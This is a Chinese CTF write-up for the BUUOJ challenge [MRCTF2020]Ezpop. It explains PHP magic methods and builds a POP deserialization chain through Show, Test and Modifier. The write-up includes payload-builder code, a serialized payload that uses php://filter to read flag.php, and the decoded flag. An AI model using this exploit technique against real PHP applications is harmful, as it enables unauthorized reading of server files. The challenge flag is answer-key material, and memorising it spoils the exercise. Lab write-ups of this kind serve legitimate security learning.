[MRCTF2020]Ezpop

作者:Hopeace

靶机地址:https://buuoj.cn/challenges#[MRCTF2020]Ezpop

0x01 浏览题目

不用看了,反序列化构造和绕过

这种题主要是考察各类魔术方法的触发条件,不断构造调用形成一条链

0x02 分析题目

<?php
//flag is in flag.php
class Modifier {
    
    
    protected  $var;
    public function append($value){
    
    
        include($value);
    }
    public function __invoke(){
    
    
        $this->append($this->var);
    }
}

class Show{
    
    
    public $source;
    public $str;
    public function __construct($file='index.php'){
    
    
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
    
    
        return $this->str->source;
    }

    public function __wakeup(){
    
    
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    
    
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    
    
    public $p;
    public function __construct(){
    
    
        $this->p = array();
    }

    public function __get($key){
    
    
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    
    
    @unserialize($_GET['pop']);
}
else{
    
    
    $a=new Show;
    highlight_file(__FILE__);
}
__invoke()

当尝试以调用函数的方式调用一个对象时,该方法会被自动调用

class invoke
{
    
    
    public function __invoke($x)
    {
    
    
        var_dump($x);
    }
}
 
$obj = new invoke;
$obj(10); 
/*
 输出:
 int 10
*/
__get()
<?php
class Person{
    
    
	/*封装私有成员属性*/
	private $name='张三';private $sex='男';private $age=12;
	/*__get()方法用来获取私有属性*/
	function __get($property_name){
    
    
		echo '在直接获取私有成员属性得时候,自动调用了这个__get()方法<br/>';
		if(isset($this->$property_name))
		{
    
    
			return ($this->$property_name);
		}else{
    
    
			return NULL;
		}
	}
}
$p1=new Person();
/*直接获取私有属性得值,会自动调用__get()的方法,返回成员属性的值*/
echo '姓名:'.$p1->name.'<br/>';
echo '性别:'.$p1->sex.'<br/>';
echo '年龄:'.$p1->age.'<br/>';
————————————————
版权声明:本文为CSDN博主「weixin_42113474」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42113474/article/details/108894764

调用不存在的成员变量时也会触发

其余常见魔术方法
__construct()创建对象时调用
__destruct()销毁对象时调用
__toString()把对象转换为字符串,打印一个对象时被调用
__sleep()在序列化前被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()将在序列化之后立即被调用

0x03 代码审计

从出处向前找

最后应该是include去包含相关文件,需要调用Modifier里的append函数

append需要出发__ invoke魔术方法,看到Test类 里的 __get里的return $function();可以出发invoke,

继续,要触发__get 需要去找一个无source的类

调用__tostring $this->str, 赋值一个Test类,

然后是正则匹配preg_match,会触发__tostring

最后,传入pop参数值,触发__wakeup

pop链构成为:

pop传参 => __wakeup => __tostring => __get => __invoke => 调用include函数去包含flag.php这样的敏感文件

即 Modifier::__invoke()<–Test::__get()<–Show::__toString()

构造代码块

<?php
class Modifier{
    
    
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    
    
    public $source;
    public $str;
    public function __construct($file)
    {
    
    
        $this->source = $file;
    }
    public function __toString(){
    
    
        return "output anything you want";
    }
}
class Test{
    
    
    public $p;
}
$payload = new Show('test');
$payload->str = new Test();
$payload->str->p = new Modifier();
$hack = new Show($payload);
echo urlencode(serialize($hack));
?>

本地运行得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

得到一段base64编码

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2NmMWM0ZTE3LTE2ODktNDljNS1hOTE4LTVkMjRiNzA1M2U1Y30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解码得到

<?php class Flag{ private $flag= "flag{cf1c4e17-1689-49c5-a918-5d24b7053e5c}"; } echo "Help Me Find FLAG!"; ?>

猜你喜欢

转载自blog.csdn.net/Hopeace/article/details/120835255